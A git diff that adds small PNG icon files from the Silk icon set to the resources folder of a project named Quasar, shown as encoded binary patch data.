z5RU92Y$qz0x}H9S9ME1)$O zT28X%N?~=PWZVDiWtRJEQODZ|%nvegUi*h4y3-6f?w!qbIzn_W;x31#bSKu-xK-z& zg4K!Q?Vvh{`cn?Kzk81#>={fpq@x;Mm{CO6&yd`*Q>Hnx!$eob{w|z59yi%{s(f|) zEJ5E5wr1bPw~)sAl%9nzVo@(>K_9uMh_0W(MzCu`w;Mry3e+d9-25cQu>8I5KAev4 zmpA!+qKH|uX5D9a=C7ksd|*S7+nwQ30ivr?mlTdEA-22X@ncipoDK%nYxw3exV!Kc zYhp5EK5}>V!xy6jT%;x@R4}Pf|Hk{Go5|;idqPjvko{D~WVfEN9ute+WVYtgxIJ3P zk9F}Y)5ez~A3SaGfjCLBvh!;?KR5#G^GsWhkvG=Kg@Cwq(1yx_Yy;v^46G1u2L325a7Vma8=h!7E11fLnJkQeeBl z8-<01ZU0-~cDrA5I-QF)o2_`~MuE%n^78s~a&lh&&jNw10>A#SvxXvYVpdjGf+Xzk awLby|YpCk5}c2Js~YM`9qo4TXYEl}>_8GtDHExt)FXIcM+fLqIzDV7;yNufj-%8896dxBf(rBK;5UT)oM+zt>(+FuO&~Y*I!aB_-5bY^12z~1tpDBqa5h1r2Wl0lEc{9ojPl~QfenCC?-TFN z02VR5X~-XHx5$FE0h8^nMJnVU7z6G={;ELGVwl#>ViVbU6^nM z6`Vwej}b`F@*JLc4=cQ#K>owPJr2c-3LWl^q5NaSdmX%+AiYDFAR-E{(AArvu>!UQ zvDALN)uTxHC{iAxd~Jr!I~ z{X({JY(!&`@}D3Y0@+gdjRTDT)IYm@Z2X~3|HhK?vXkiRLDkRFH+&qa%}L|v5{vTy zi!r?BDMVEe$ZvS%YyjkDXJ zV~l_O2^;Wzf09O_tG_2sqSr&!uY=L3=6NzBC#=FRlkd!L8F+Z#t8)!|WAV()%#bgd zugKDMFzsPFqPX}|f!rKuyrXoJ!E|Iix8XboB`w8j{7$A9B{rVyOPF>n9?002ov JPDHLkV1m^Io}B;y literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png new file mode 100755 index 0000000000000000000000000000000000000000..10137e55cada13d8591c84070a0998b4ae2c2bef GIT binary patch literal 842 zcmV-Q1GW5#P)L|NP$Peb4zTfbw6BwM9vp8L_@# ztVP3P(Rf(@g5fJ>`Y%Q;Jiibw5O9WPy)ZQ-<%ZXTFyVmF7I0mdLCr5%95B|VWAw%_ zlil#jC5NqWzZU5VgXPd)1Va~LWeNZzpG- z9($&dj&u!|ggJ7-vfn%(Fw(M#CruiYJ<_p8W3VEEfzoB7TP?aix^sQlGpey2U&f83 z2(BO0P-TibgGTMnjS7#=7Q7vzX9?;W87K;;uV9*cRnVIcJ!j;39&CrFY1$V~z0oKk za4QX}W6X-^zQfl&KbxyiFS>oWFC)4tZO05WA2x`tiX%(9#`RGbtEX}cVg@BqZxqp; z#V1=<^Mfx#M0W;94x(%D`~8VtuXm&98j9?(WOl|t#pV!7*Msw{1g!a@i0&-jc3Dhj zaJzbJDM8&&^qO`H{L|y{{Gc@{;aq!6;IjJ!DK>#i*3OSs7Wq|??SA0y1w?m7bakQ| z7u>GNxd&5sEV=e=WVA=ml?^1L`Wq?iJ48amO6F>}1_NXS+i{cVX31j0{(Ls+ygbjb zgTYs=+n8|?L4uy_jTdRj-0b1&O#LbX6y z3il~0?`2~fuOjXCZq{8=W|xAa-EMav_2vfdJh$MSG}Gm)qhq30Le5|vuO!QvKxDb{ zHoRETFA5OYqpIrnBi1!@`x?Uo@eL~iyXwQ{(mQw3I#xl3V=ocq%G9c2C3Mkc68M0? zAMJK~*}~w>Rl08{yW&|}68c_X-IBLa;5LC1m)eUce_mZ0!s(ohgW1{HA%EWg0w992 U9AQtx`2YX_07*qoM6N<$g6IB+8vpa8B{-MRO+d-q3;Nq=BQ5k|pUEm)WqMHu)e1HsCoBnZl&D2fWC zaQI+^Ypcj~qlqjN+KQ~b2pMEyMH{Ql+1>s2yE7NkMta~2=N!)coZtD~5&$KI!t?Ad z$MG3K5aJfgx?{!872ITuZRI#lqksTdtyb{7RJQ~`I$^U_K{Co%zhNU}Spi{>7Y)dA z2T(yWOq>p(RuxZ;w1ML7gxm{mzWemI`nN(<|yr*`feZQuYV#H)Ari z1=G>vINi|>i=~44z?}aDs8rU})cijABZaAtpP*_$DD;f_AnVU~YcQ}?MFF~@lnxDf zyNq(_WL&)Po|mVtd(wFiQob0&DT1hhg-xfS-QxYqH-fm1@dyFt8i e#x0i4_uw}&{+U-AleQoL0000l0ldN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png new file mode 100755 index 0000000000000000000000000000000000000000..79f35ccbdad44489dbf07d1bf688c411aa3b612c GIT binary patch literal 741 zcmVz1iyEv%?$mbQ(# zwJpuiQJP8?X_`#S8b+U_G6=ziYB!xPAcq{)ZJ0bECH@ zYx#`n8^Wzn^J!4>=q^bltNO15ry?0ecSLkjpT@vlid!jk)Fjf7&)q_V5zGs#3N%6* zbW~7Hg=&P0&~Y(|g>$hC9FL?;ttzPDZbpZu9OLb33^e2;FNTGJxScp1&q4M+y2ntQ z?C(=hpU$3~`Thx0eHwi0x`q+!d5k@|0_WHe%sG3e-s^MM`xM-ig!VcIA7H}X1ot~L zg=MLB4w-Q;Bi!!u2|I+Qb;0{{4Q53YX6+4_aXena{nmt*!YG7ua~`qc>o=?@U?rOU znS7%>klzi*muXnbM6i@4FR@s^8vTjDgy&%J?w?`u>NYMDFa_2%0SQ(qJE<3=<8Bzo zfdU60e*y(^$RF%r$kl)p7=7tlCDa$+J7w>}DU(O#~fk>pYuRvHi1E9^msg{tLeV XM&GIRvfA7%00000NkvXXu0mjf&%8>| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png new file mode 100755 index 0000000000000000000000000000000000000000..deae99bcff9815d8530a920e754d743700ddd5fb GIT binary patch literal 746 zcmVR5;6} zkbg*1Q547RkCGx=+ZrJV#zL@SQK$qJV#CSW)Px1IG~1R7@Ce7&_JfOHMV?!rlp(uU_DLu%oT329{ zvd}^m>Zu}~l!lF)$vj*+!9ivWYi3=6E`B>+7|Su$tH+R~2!#ne6eorwU&M#{7<<90 zO$iMuFlR;n2z>v9nKwp!?XQQ|aSfBtZ^J)10wQ zP}rH=KSJQ4N-!Ms3A?4X%~8iSR-zylzlSXd_?|M%f3%_Vax4V#xlec^^VT&5JP8rX z6}RO@h&}Lqo`s_<751_e20DK|@e2`2FToK$y2KTlwyhFyPdYY*B{>w4$%B}fnn&9d zQ0xQp-T@b00q1)Ft+NxwMg`RMry#!}42Vk(RW1t-$ePmK0V@&mp4&IBO>%w~~-qNFem8*NKi5C3*h;eH{=}2kRqEdNlF-|c6B{jNg1xE|{xZ_qq=T?P)vCi#|P&Xm-dkucwL z3)87{8iWe96huvPHfK`KOdC2Z({T6vJ9pwDx$D4>d(Pqff6w7Lmj{5i6;ZyPPpPN; zroaW=6d#@oL2Fa53F~$Su10(RG%K0p3VTuP3?Z=nBA8z$uq+XLUL^QrC74`bU|!e| zr>hK{)%Q!vdmIO5Z3JIvaOyjOX`X@c8-ua03`Q&)f&%p*{(A$q`ZTTjk%q_T7>v^J zu!R-a9fFLScYlKkNBP_Cob=9m9JLVoC-?c{)eOtMnh7qNN{ejy2sM{pS^mgFHJm@(buuM4>=<5Vr$&Kzw{B?uPr; z(1Yf=#g)zADkWnx=MR%ykl| z3Ui42k+O2{bCn)01-s5Sxp|z{G2di&KT(_M6;$EI zDL57JFf}cw4bP1P$pgTRKH$0@h|~aA>j`qZ2*kU5t2EVD5#~@VNhqx{vz8ethDD-=+1vnemftUBA zF;N!Q%PBB5B=KLB#QO(CHe?;R+-C8M?ppDW>R$5`cCPq@YpusFRTaH1i9Kv;l<>I( Ze*oTy+;kdDB`N>_002ovPDHLkV1l3CM+g7_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..acbb5630e51a12a1cd30ea799d659b309e7041cd GIT binary patch literal 767 zcmV!wMF|0iq|AK>&MHw6~-ksQ9RtH+=$?!G=zinz|BNIO*d}XYdmm2K>Qw%i9j?X9SgRBJn4W5%uAclWG_T7f?M4s9q5$`w5b| z31S}-Tq~-?NahjDw3mU5cfqF5z)+g+pPplGDyLv1f8WAnTQ+Xiw;{fhcBLH^j|gI# z2~IT;7{m9#PQ$2>16f?4#0x*vLFksSJ~;)W1wO>uQ-rAG1{C+&5Zw%%))Pc(2_k9< z`smoi)Pkk!SK)SAcOy>0d#x(Rl;b_GP?XFE#P>r%M^9Kn>j@#I>kHsrS$qYvKE>lwZZUsXcw4nFNHZZ~?%71a&2u7&aV|47ZvJKBUVO{)!ekB`ACp}1 xSnjsa#jtYM{A~v!cV^R$X2;lcpKyd7^}lwPp>~q=QF{OY002ovPDHLkV1lJ{Vb%Zu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..c1974cda745278a404b9e29fa91e0503a84accb1 GIT binary patch literal 833 zcmV-H1HSx;P)wKwNApj*j?`*x8fjj}+T^cdNV;=~VOf{An4CI`(Q%x}`$a=uBQ`IcOG~+O zhFmpv$jQAVt#pVn<-FwXyxzC#)@;^BTYr4EXV3Qe?Ah}?KRp0?|HEG!QT7K}`6R>T z0?GlfNd&N5h)SxRamGIduGtwfO1+4h$^b)DXu0o8M7BEtF^>B+6kDUTT?1tl0&27( zTPtN#enUj2hcV)v4ROVeu()d=+i@S-%91h3XQQ_&2GLH&h;==J>*q}oafY~7o8YOx zW1up~WKKQv35z{tnCiF(G50p)FLR-gi@=FATO4h+zckVifX~k}G4#+4;u7niZGj@H zRkx!55oQOPpc>+6Y1FM1A`bW&7GI~k7+8?J0DewkUh)LOJkrdTe3;U(*Zgc$Er)&@ zD+5(f%bInl-ZwzNw#9d8%I4~~7EHgs3zhUKHpaRkt%*?UWMg-Zz7eUOc8t^s*~Buq zNnU77^3>6u=K_U{g-umARHHXA*H6dCx-dv81Ap`v`JB`FJi0MFsY3lE z5Gw;{eLz-+019a$Hq}BXzXU@)LB-NA6Y>hD8BxCLDcvPn`&N6q`mxc}yMb~sKo@Ed zDbOI5^9}?Dhz0FQMoKPVwk00IILo!IfS6^eQMBJdKtv5PI+Tbj;^0Fo6JmY=Cj0!M zlv6P`lmJPo4+6tWG2fYveukB1DzkD{lX z41Nw7E`C*@hclIfDYh$GCw<#Tk~h)}QkWS=$Gv&wY2h|l6&7Q)uMmBi&Zxg?1_yGk z;>5+4_M6eEhsL=ygB_>Q-+`#k4z^f-l|x?d%y)UiW7wGPG|s;O<AC%001I%QchC<0R#mG z2L}lX4GnjFfrOBev&YTR*75Z9`1}0){r>*`{$gIU!2kdNu1Q2eR2b7^V89A^#0_*L z_z-+<1ruXKEjeDefT+HPrnZ{07+gSI&)n9@Oi7*%E)XB$?c))k%K{US_4N-6_w|*5G){Up=g-~1~xJlA|O4S{DL-MASA$r a#p3`2#3Ih=$|HIJ0000a8r-1c`3+>owstQ*9I-_ekzW(ohmYMY`{P6ZeF5{f*M765oC3mgQisOM;QQbX@ggAS2KgDM2gcqZA9XdZ>iF!~Vl<60PAsYul3 zdO@$k{dkx0EmyGNDt9}0CpW25-SK_A4lC2`W(<=`JkE57@PX&*6@@GQDqw`DDAt^o zq{Ey(Out`(COaJJ>@YJM^^2KrxFq*RzAhRU<&M8e2tg%w*9#|$0B%$xx&b3n#4 zkf!uOYO^O28&82>e-b(E7tlIZg-q>P1XbD?eadJSW`T2LeMI1S3A7{YkWT@r!zKv( zO-N}zjVBW|c%-j32i0RzNc%F;I4prs$%aP>#pqIKVL?pfIIhp@vQS;GLtGb-&KrG^L94A_pU%f6M3**AM

    gJ6i>thi*In%G< z11qR?nZ<5fV+Cs0?EF;*rjKIYInQ$Ka$^8kIXfoF@SaV-aWlw~zZ}ip35JN+^=tnJ XxNVQ!&Csrn00000NkvXXu0mjfj)-I{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png new file mode 100755 index 0000000000000000000000000000000000000000..8fd539e9cb04111e950ac9b0cce82676f12f67d4 GIT binary patch literal 706 zcmV;z0zLhSP)%zf?XuhjnHwp)vDVV-Nit=+l<1e_j@md!Ei+v5AT8J`SE{vdFuew{g2kYyx=h3 z4xieMNJl*eP72^_-v!pJyZ=`JAM1)mw9ObhdlWZSJ22`#g1!y`+|mPJoz{^J0U@Ip zqqZgtkkAd&ArfvtoH-0%$6gp(_f$3noIl=(%W5IUuV^sBo`C&WBd!{oVQoJMrfnxi z`p#^x2^duFTU~s97sdAz`2P9<<{$Or>$7WEm>ok@v;XI(hZnch1SA}-?@Du%ST1C- z@^Ol2n(j;UQ@G<16>3&!ll!(xrPAzppcCc7J*<9tO11JKgUNwTh{fV3qSNQLtqV{p zl?^JDic_oANTpKf>FL455JRQWXy~0zr{ni=;uWj`kl?0ZFnEhM@}^`m39HqLY&MHb zCIgengyG>~csw3-cXwB0GT9)3Y_0-G@Dj_iNT<^<7z{8Pjj-G8$mMd#=ku^wEYNDT zu-R;gMx$`M-4(f9-d6=I3^o5=o*hIu90td6)Z}nDKqjN(GYkW-*9(`+1;5{qVlIle z{VnAxU@_8CDZRK(4T(g8f=DH5<}3B~_974nARdoX*pHVS=7PdX74Z47KQtd|`sH*w zq1WrFkyk7hqy71*_%rE`uC6XDL`7wi;nuvu(zLIhbZjEe_=@yhBIB183I%xaA+i=F o63H90*)04vGrr7ApigX07*qoM6N<$f`O4mr~m)} literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png new file mode 100755 index 0000000000000000000000000000000000000000..bf3a1e3dd88184ab11706a0cd5fa5b12552999c8 GIT binary patch literal 717 zcmV;;0y6!HP)cIYHXmJaHXN&sA=J;X>X;WWS5(~lss;snxVXpnY4`4qHWWnZET%{tl+O?l6F*w zcwLiuS&VazVJw+qEk6U6eOw znonn)LT8>pXP!Z8qD640Np!1Cb*xWztxtBXQFpFTda+Y_u~dAsRerTsezjPExLSd@ zTZOz{hP_{izha5NVv4|Lios)w!DoxYWRHnSkH%?`$7zwsYn9Aymd$UN&vTh{G@sUZ zpnprDdNrxwg1GOIx$u;_=&8p2pUCyI&Z}bNlN{u?is;3i>6#qsvv}&vtLvp6>&8Cq zpB(MDe(lMl?xY>=x`OV?rtZzB@4SQW&0FuzMDN$V@Sz;=svYs68}Zzz^PU^?ryKLE z9Q3Fh^r{^6s~q&K9QCps^|l-JwjA}k9rn+q_Ry#H(5Uy+ulUTItBEV80000fbW%=J z00IUG3Jnbo5D^q5DtUv3ik73LuE@;O)79SLCq0D|CLmv&om^B{ zuD}En5Y0<#X-&%)gYj7;!rI%~nj^(IAbfUVt$6>42>)135iSs)QNScFIy@x6Gc-m| zh#4rrZy6O866ojdY#-!pDhL!%Np;;gl19bUZW9UV z`6Oe&D>N3I2!D7k!S=E!5k8{~b0eJ$-hrpkmhM4q_TKS3xu-U*DrgiQkCtD|&{)Kw z@Y#D|sM?1v(NTuw+G9~;gkF>7r@fcvAL6bMNOH4SHtFf+&$reAQ(9oG0r-#&XpVt; zwjWeGA5_mtP@kGGS{;rD7cyToc?57@T!%c%&QP z>aIXviD1DmFpC6~TPvYA&@c4r2o@DPG2gNsKKT}SnxZi$-wKaxGjqDFCKA(cs$jUD zK=}p3EtktoW$}xSd+TAlO-niit75HYV^|!9{)%KDovB*!3KJ?}M6W0a__&h4FQi}{!6fD~!VCEz^q+N<`ifJk))+E4bXFe3?hSmT#x8*(b{TfAi$s}r z*Mgvesy)kHu8-{)>%NZfuWMni&%xmRVvP2;qA_E|L|@&Z(4c~9#cJEQtqIPaTbO*? z%whG`qTH=xnhev>eO;{(w3 z5@@Ogu2g_joC7fz!hP*BNcSszVHoltfhw&_q(c3Iwk?d2q|1OucYJU`R9b)%BXBw& zD98qm9{{;j0(XfCKhtF7u82PC7xbQtnsGkN15TX)EJZ%f6!^~iEFe1rP%Gh9N`NdC z#vT`4LYBRx>yNdV) z{S8O;cKyoVGn`;Fg$B+S2V{h1;Gh`v7RF3-8Plv+_-s}4+U3$UO(Ny+04pa$G>ajz z1cQ_WjvXxe#WHd`K{3(FrmP>nspbX!jsL|@r@oVseQC_m=rUfa}difiP=7Q#%M zshc`Wm&;AX{0?nQQx{}VMAAhV>V;rJ@&0>zF9w3lqKhA#^YHwCJm(xv5P+cnVawvp ztLfDxoZV2f8Bnl7AZ12EoSxeFR|2V6RIW~mf*~;sdI}9M6f$-Qvg7taoFz1FDj&57n{Mq4D7Y_TdR9C(EO|SzKHEmo zPOn#{+hEQ;;thBNzT#Oh`*z)EZQ(_1cpLEJT{q48TPx~`^I%-$NUju1T~|0)V}~FC6c#zk#8D6LRk;) zT0D?8Orf&Nhs26LtPbknDLzd41-|Ax#58f}=OyC^;x)af?Do-=b~%#^24dF_nR2<@_W67)1?cUEu^twUb)isDIFhhds}=iK3R>bPJ|0e?$zQO{gfSb6 zAmw}l&+|y1)FDbOh~LB|8AsbZWx#U1r$+A&&@Nx#xl}^&O@y|4t-qIL8GGyFgudOB zMUBefj6^S-TgKXw9~(9fXO}l9u&h~_&1U!^@!0B?~s|2G5wL<6_)Q&2rqn4Ysi zYDkz=-^k9mUKoqT&@0!tb`xM{bJg4sMG?(rlN1C@+IG7gZnyh)fD-9^wOWPO>qRga zgu~$&m^wiaP%IV^2m}y`M05a#41+*G!W1YTk2ASkP8&9ThNn^~CX>l%T{(BmzyFOt XHe4|Dt4X literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png new file mode 100755 index 0000000000000000000000000000000000000000..2a68453811f26444e2d04da5713c9c757dc999c0 GIT binary patch literal 661 zcmV;G0&4wR5;6} zlgmp~VHCiBGxv_KMl&C2qkCXb}Wq zf!ZRmAV?dcl3`5C9`u^&j*R%u>z&8;KPY{YWGtbfuK$a=ExUB}iH8 zEPs4~N^jt-Zswr3g){Ci_UZ~2!Wmr0Ma#WbhXyeU7+*w?FH!AkTK)!xHA(%V`3nWCtofZB~;xy1Wp zclf$8!*6>HJGqJf=sC(o!*&OC`_`CUEJs$9bD*XGd(Ea)E&#^XnS(ZgInMBG4q?C+}4skYc8sQWiIn=|m_d^&hoje?QvJHqv zqa+duDl02#Y;2^Yq$CGiSe?h^a1&_01i;l(w|V?-kc=Ef7eagphr`W62s%1C9HCH1 z#bU9%U$?rx%&ZwAVonn5xl8}}1&XvnG^ef{ySYZA*K@tzyT7lq^#o0|ZG4^&6PlhR v_HFfsW4GsQ^m_V%%Rnix4h+5;FoS;pMlVc!y2FYE00000NkvXXu0mjf;fN;k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..b194b971b398c3d81cdb3daefe3fc4c5ba959eaa GIT binary patch literal 651 zcmV;60(AX}P)#u+p-Y`QM29X# z5S}9c5Y@7+BwJFTy>-o9T}AP^yYJ2Wb+BDs>L55U%nZzY=R3oUp|$2H;^T;NWB|3Y zvN8%>1@Jr%tu>zKRj7#kWB=+iBb`pWEiEl3z`=c#{QudKpGYJ`X|2twswy7FgrdF8 z#`pJVX9r(v568pj8EW`JBobkCauYjW#NI7p=N(?$j36SWI@q=E+auicCzdRW#jK4U zn*+dc940Q+;(68Ou>eE_RSE!{whLVB?clOsG4uH=3DYbmPEAc!EN^gda1TI4_KIDP zkC~GwwLwEu6S3j|xm+F^_5h;MXt{fdbp?Y>Yk}7ASzf9>a=(hy1pTz{ESD4GPbToi zUn8p)5(v_D?Jm;XyU(DbevA3_0A4V_u{J;Xtvroh7N{lr_9?AvF}iMyP#r$U?%X8F zndca7OBl&yQg?TESIlSIHibf=OnLrJl!5Cb)c$-2%hS*tU`?GN_F-Y4fn`}_G8sal z5S^W!)Ya9M0cF*qracTp_x3Mv`~+%q9VH^kcs$-CBJ}t78?&>sI+aRQUSD$%`^y{Z zU)`p#`x_hB-ZF6;1FmtHZ=4?P822~UkDUs+O8HW3XI&OoO>y%2zH!)ho*6zpx|2)a lGQ~I}re4d+k;eSjU9UZ+4 z90QP2;y4ac$|Wv@_#^)I2TCfH$_D}g6<{%&x%_W&E|0}xLUSBPb-Uf%j0$Yy8`JSu zIJqCV%4?_y)^fz#Pbd`P^79OaX=7w<3^T{$(;h0T?8^6sNPyezP`j= zwjWIh@oP9Qd7EC1rcL85DIsd_W@^d=?=OJ*&@}nP1cmEP;0x{~GgM8_i-!vgGKoIQ zgH=4y>X`a$v%;^l>PHd)EBy@BisRqBhpB-cbj7B)WEI}h$^`~%ie~AWEJgZDDXY{m zXHAOb1ZuV$&E1Qy>LAwWBXp0#$cJ8}qm%SCE&!ZA+%SI&!!WQc3u`h#f!T>~QwwJD z4lX^9+q;1x=L>;DHyCK|#x)0!NF<0xqYMuZlQ-P2qCDiuU8_Gh+~hpQQ;Y9Yg04!_ZE%SemW!igKchx4WJa+_9IUqH2;IpT3(}`$+Aj z_Rhbl@sAabH~F)5Rh8PVnjntbie%Fhr;c9#IQTC){{(bKa?t*>JG%e?002ovPDHLk FV1hfYVB7!z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png new file mode 100755 index 0000000000000000000000000000000000000000..a1291c2dfad75b289f88ab762a3a32ccb436c1ed GIT binary patch literal 481 zcmV<70UrK|P)SXcnW4?r|Fc?Kd3cm$;%kZi#G`Sa_VnwmC}YZ26Y zhXbnt^XAQKXm4+SUQ}H6r(?sz`|0x@O--EjU}EI72kk(5e$=!F(*t|%| zOO`#}*s$)|C0u^?YPrGY(Rf4Gt^S&sOU+enjCclWzS^+v`E5dh=Tv=F*rDQzDn?3c zT=(o=$L8ms2^j#wwxyStFa(R1K0Y&H$BX|!zZw%`2!=rX%m*7M?R@p$v*kt(Sq6Bw z+-#h<SXcnW4?r|Fc?Kd3cm$;%kZi#G`Sa_VnwmC}YZ26Y zhXbnt^XAQKXm4+SUQ}H6r(?sz`|0x@O--EjU}EI72kk(5e$=!F(*t|%| zOO`#}*s$)|C0u^?YPrGY(Rf4Gt^S&sOU+enjCclWzS^+v`E7KK`BNfm@}@+5O6&9g zAKBvY$)m!m&7tCoDn?3cT=(o=$L8msku_)Z2R1aWPW->+%GCcCp6&YIzdP%Hc)#v{ z^K7YJ3?~*XeSBuZju-!del>=P#kRYA-*|b#|Bcrs{Re@bJ*ofu_oM?2ko=BeK>W-H z8z=32_20AQMh;BOr`quUwkvb~BZEzsrh*K>3?%QCn~f89y!;>7dus_y%rZy%d-txS z|LwaHz?$24Cg64fFlxNpH$DHKxA@UB$BHX#ATglAmf#+Z|Gm3Xz&3+u5FaSsgJA$L zYJ@6RJ^fR$>hXWu(o2CbaiHQ3ApQh$Hk9rFi30!(_NEBmXg+EH00000)+jEP)SXcnW4?r|Fc?Kd3cm$;%kZi#G`Sa_VnwmC}YZ26Y zhXbnt^XAQKXm4+SUQ}H6r(?sz`|0x@O--EjU}EI72kk(5e$=!F(*t|%| zOO`#}*s$)|C0u^?YPrGY(Rf4Gt^S&sOU+enjCclWzS^+v`E7KKMKBsqYa+IO%4@TR54OoCBdg;l!e)kIzil@!~(wuf{O3oi5CGzX3J>pXB@hf4SiQ|80u@Uw1kD2a4arFd%;B zgN>7RzWVRkaw7*O26Fblv+MpNgZK3k|3Tsy26(sJY@E2`<^RCmTT9?BaAkh{Wp48S z|3FPY${7B?1LB7n%>RMnPcRGsMvZs-rsx0j7C(CCSaF37Bz8Dls^Mgc>hEXeivM3# zvi`rD!uWr$FUy}DuFO>!1^}Z*sB+cQKNYJU|F(9002ovPDHLkV1gG5LN)*Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png new file mode 100755 index 0000000000000000000000000000000000000000..44ccbf812879c42cb1f9587d865bcfc337ce6361 GIT binary patch literal 570 zcmV-A0>%A_P)hUn2-Navsqo?5A8 zh}}V^=%7@_%C;=H{tGpIj5CMu*>5J=i;m^t2QTySd)}9aAppozC}++wDz`eOViU-dbRRoz=JsVlZk>N%^azhi%=xTCt9`LQjtqNFW~e|R=r9= z`@I3J^#z@aD5yBuq2DLQO#|4uFW6R5kzPZ+h&6Af&5}POarL&lA~3t5R1i7uh*ffDw@qEs=HBW ze?CI~MkvG6H-MF7r{Yv4kw_q&PNP^XqFgTHXlH@RpLO}3aV{T{Ez=8lo;PHV$Ads1 zfOtF(s5%5V>3qE|&{lueV1Y1j%GF zXt&#NI-LlGLPN>_18TJzN~Mxf*f6pY5Dteo^|P&3>(H{!KTr&_wGRQWb^rhX07*qo IM6N<$g7V1&P5=M^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png new file mode 100755 index 0000000000000000000000000000000000000000..3f73eaa1445abf43c729c134b24e3a308b61a6a4 GIT binary patch literal 581 zcmV-L0=oT)P)51y3fE zx%w@DD2lfa4>~OCGd7Nm`OJhY_mM~>Zhr}oW%;_>?Rs0S*4L#qhyF>!#}6{}`ym$d z3Buv0; zoaA!3@5yAc6buI6aLmp%8cvFa6)*`v ziL2Gh4c=@vXTXaSngz8JkH?=c0QGwP-E1~<4=IuM)DpQMAbqXrbn2ezx(?O?e*s`O z?^U&04K$n0HG?_ja+xm{i>-7zeF}v_$5<>TF=>%V>`OVZD3%CgcZ}Xt#Wg= zUCanah`Li2Ew%ac_+ze_E?0efU+V~mRRp_uc%SF+e!k!Da}GxaK(>>T4DI=W17hEb zu#d!kJhZ_Kg#K8IP*XU*AP=RXAqbZ8^O3bd!-`Yik7OY#iXX4v$>~@UAY_yh#iTjP;@L2+%MCJ7r@Gr-(5aIBgd$2Y2*5kXT|8YNXTYnvze#aoh;qkzSx~sZp6HHb!| z&}cLsiGbhl-|zK$N8D~V?{qqO^0GX3yWMNGTC--eIcqc;1A4taq}6JhYPH&P)t-s|NsB( zw-)rh7vruJ;HwmqlasTvvr$n|XlQ7Hf`X5akE*JwtE;Q=yBG7k7u~26;HwntwHD&7 z6pf9Inwpxet*x%EuI#oJdwYA8m6fKZrd3r{R#sMGVq$J?Zr`dDh=_=#rKO>vp{J*( zsi~>(xfh$8o1vkh?zk4@t`(%Dq+DEF;j9$Gnm6pW7T&28&z~i9baaw=Ih2%?pP!$g zprEFvrl_c>si~=|s;aB2tF5iAudlDOv$M6ewYIjlxVX5wy1Ki&yS%)-y}iA@zP`l7 z#KpzM#>U3S$H&Xd%goHo&CSiu&d$)#(9zM+)z#J4*VowC*xA|H+uPgR+}z#W-Q~0) z=Cvc~vli*YMC!B_>#P#($xiOA6YsDS@Uau{%u?~P6Y;M1&tVu*cR2b7^U;qIgDRnhTE(SQ@ zR`d@G_E6x2@YuvuwEP3TJiT2cAOfO3p+SCbt`2tYhH@Mr0p$>1AlKH~+|tQL79^k) z;NjwAXKij~YT~R75)g6m_OQ2gb+oc@Fp~iZunHUN8YCse$Hf>)vqOw!;!DZN%GDEu zJA+p>JuNi?;VcG?jO?uJ%y1Z&Q9L>_F*`Y&0U2n<>aZYjnT4X{QRD^m`5ABn07$4E UYJLM)i~s-t07*qoM6N<$g7w``7XSbN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png new file mode 100755 index 0000000000000000000000000000000000000000..cb3d54d064a1bbfe5b3e9eabd68a27cb940737c8 GIT binary patch literal 626 zcmV-&0*(ENP)b1=~CRSYnKceL_LH+CwnM`4yJ49kFhue97LB6 z_K?9#hng$~K`Gt*7nH_0PE<*@PCxEP->Gh}a5DvZ@bOOX?)&t;cXtx!9NlEZ&<)3} z>lQkl&f_2mb^%X(-$#JYfKT;${d9hx^sf@y?Y1DlD;A5}>2w+qLeO|TM!K$l1CbYv zM&oqBLATpo1JXWV2e4Wym2M}KNn}}8C?MwLa(TPo@9)C)MFCLW&*$^6Gnovclp@db zkYN~TW>xO?6B;iCv@h#RTlL^Y@a$^28a*VLCJsb}IoNX+I9LEWT6h#Ta7(sb zMx&7sIEnNC1daxSL0HPn%~ya7cr+{FJ3s+E1e`!)4;PNHrk%Zs$w*-oVG&)AW5$^> z@i``hDW1zPC0ucA^76~UCXSTw{P^d}Rz6X61K!$PO;j&z(%QHiubvx0>%pCP_1A^p zDnQ=6^bY=#BM#~x&)yTtWjA2dCtSuJqcmVp0;9xdasUzfD7y}QrGMDMk+-mS^yA+8 za$G&Ph*nr$QVk=}3M)&hc^PQ;*Al8_5^a4Wr2_fwJo(zI{9j+=Zxg9)Ryp#|fB*mh 